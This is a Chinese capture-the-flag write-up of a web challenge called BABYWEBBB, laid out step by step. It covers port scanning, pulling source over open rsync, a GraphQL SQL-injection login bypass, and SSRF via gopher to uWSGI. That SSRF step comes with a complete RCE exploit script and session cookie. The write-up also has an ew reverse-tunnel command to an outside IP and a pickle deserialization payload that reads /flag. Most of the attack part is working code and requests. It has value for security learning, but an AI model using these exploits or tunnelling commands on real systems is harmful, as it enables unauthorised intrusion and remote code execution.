owned this note
owned this note
Published
Linked with GitHub
## BABYWEBBB
意义何在?
### 第一步
```bash
╰─$ nmap 49.4.71.212 --top-ports=100 -T4 -n -Pn 130 ↵
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 16:27 CST
Nmap scan report for 49.4.71.212
Host is up (0.054s latency).
Not shown: 96 filtered ports
PORT STATE SERVICE
22/tcp open ssh
873/tcp open rsync
3389/tcp closed ms-wbt-server
8080/tcp closed http-proxy
```
扫到rsync
### 第二步
```bash
╰─$ rsync rsync://49.4.71.212/src
dr-xr-xr-x 4096 2019/05/23 01:56:53 .
-rw-r--r-- 5087 2019/05/23 01:51:29 backup_old.zip
```
拿到源码
### 第三步
![](https://i.imgur.com/0OY7o4t.png)
证书透明度,
![](https://i.imgur.com/nLVQBnF.png)
改Host:
49.4.71.212 qqwwwwbbbbb.52dandan.xyz
然后通过这个子域名进去
### 第四步
源码审计,发现SQL注入,通过GraphQL来处理
```graphql
query Login($recv: String) {
recv(data: $recv)
}
```
```json
{
"recv": "{\"operate\": \"login\", \"username\": \"\\\" or 1=1;#\", \"password\": \"\"}"
}
```
![](https://i.imgur.com/YNuErWJ.png)
### 第五步
源码审计,发现curl,通过``file:///etc/nginx/site-enabled/default``拿到uwsgi端口,于是Gopher打127.0.0.1:3031,通过exec实现RCE
![](https://i.imgur.com/UqCBbRk.png)
```python
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
import urllib
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
return result
def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)
def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)
def fetch_data(uri, payload=None, body=None):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
# s.headers['UWSGI_FILE'] = payload
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)
return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}
def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
# Actually we dont need the response, it will block if we run any commands.
# So I comment all the receiving stuff.
# while 1:
# data = s.recv(4096)
# if not data:
# break
# response.append(data)
s.close()
return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port+uri, payload)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': "/",
'REQUEST_URI': "/",
'QUERY_STRING': "",
'SERVER_NAME': "",
'HTTP_HOST': host, # Server host + uWSGI port connecting to
'UWSGI_FILE': payload, # Path to reverse shell script
'SCRIPT_NAME': target_url
}
return pack_uwsgi_vars(var)
def main(*args):
desc = """
This is a uwsgi client & RCE exploit.
Last modifid at 2018-01-30 by wofeiwo@80sec.com
"""
elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
parser = argparse.ArgumentParser(description=desc, epilog=elog)
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix'])
# parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
# help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
# dest='uwsgi_addr')
#
parser.add_argument('-c', '--command', nargs='?', required=True,
help='Command: The exploit command you want to execute, must have this.',
dest='command')
if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
if args.mode.lower() == "http":
print("[-]Currently only tcp/unix method is supported in RCE exploit.")
return
payload = 'exec://' + args.command # must have someting in output or the uWSGI crashs.
print("[*]Sending payload.")
payload = 'gopher://127.0.0.1:3031/_%s' % urllib.parse.quote(urllib.parse.quote(curl(args.mode.lower(), "127.0.0.1:3031", payload, '/testapp')))
requests.post("https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg", data={'newurl': payload}, verify=False, headers = {
'Cookie': 'session=eyJsb2dpbnN0YXR1cyI6dHJ1ZSwidXNlcm5hbWUiOiJcIiBPUiAxPTE7IyJ9.XOnyAQ.w8Uej130NkqMMOt693jofHL-gtk'
})
#print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))
if __name__ == '__main__':
main()
```
### 第六步
抄了个作业,ps auxf看到了@f1sh的ew,于是依葫芦画瓢ew反代Socks5
![](https://i.imgur.com/VjbP29f.jpg)
``/tmp/zsx/ew_for_linux64 -s lcx_slave -d 129.204.79.120 -e 23451 -f 172.16.17.4 -g 1080``
### 第七步
通过反代出来的socks5进内网,源码审计,发现Pickle和写文件,猜测是任意写+pickle反序列化。本地打通,服务器怎么打都打不通,于是抄了个@白泽的payload
```python
import pickle
import os
import urllib
import pickle
import os
import urllib, urllib2
sourcecode = file("aaaa.py").read()
result = "c__builtin__\neval\np1\n(%sp2\ntp3\nRp4\n." % (pickle.dumps( sourcecode )[:-4],)
print(result)
print(urllib.pathname2url(result))
pickle.loads(result)
```
aaaa.py:
```python
open('/home/qwb/session/cf802925-ceb0-41e9-bc63-ddffe9f23005','wb').write(
bytes('(dp0\nS\'username\'\np1\nS\'' + (open('/flag','r').read().strip()) + '\'\np2\ns.', 'utf-8')
)
# cf802925是帐号C
```
通过已经登录的帐号A发送log:
```http
POST /adduser HTTP/1.1
Host: 192.168.223.222
Content-Length: 413
Cache-Control: max-age=0
Origin: http://192.168.223.222
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.223.222/log
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: QWB_SESSION=9a421d39-a3f1-453a-b034-a7f3a64c5026.tZt4MmYFAccLXVjIWyO9YxlsQH4
Connection: close
username=c__builtin__%0Aeval%0Ap1%0A%28S%22open%28%27/home/qwb/session/cf802925-ceb0-41e9-bc63-ddffe9f23005%27%2C%27wb%27%29.write%28%5Cn%5Ctbytes%28%27%28dp0%5C%5CnS%5C%5C%27username%5C%5C%27%5C%5Cnp1%5C%5CnS%5C%5C%27%27%20%2B%20%28open%28%27/flag%27%2C%27r%27%29.read%28%29.strip%28%29%29%20%2B%20%27%5C%5C%27%5C%5Cnp2%5C%5Cns.%27%2C%20%27utf-8%27%29%5Cn%29%5Cn%22%0Ap2%0Atp3%0ARp4%0A.&password=bb&submit=submit
```
通过A往B的帐号写payload:
```html
POST /savelog HTTP/1.1
Host: 192.168.223.222
Content-Length: 66
Cache-Control: max-age=0
Origin: http://192.168.223.222
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.223.222/log
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: QWB_SESSION=9a421d39-a3f1-453a-b034-a7f3a64c5026.tZt4MmYFAccLXVjIWyO9YxlsQH4
Connection: close
filepath=session\\e85cef5f-a7c4-4927-b48a-01d944b5432a&submit=Save
```
登录B的帐号,触发反序列化,然后登录C的帐号:
![](https://i.imgur.com/5grIOAr.png)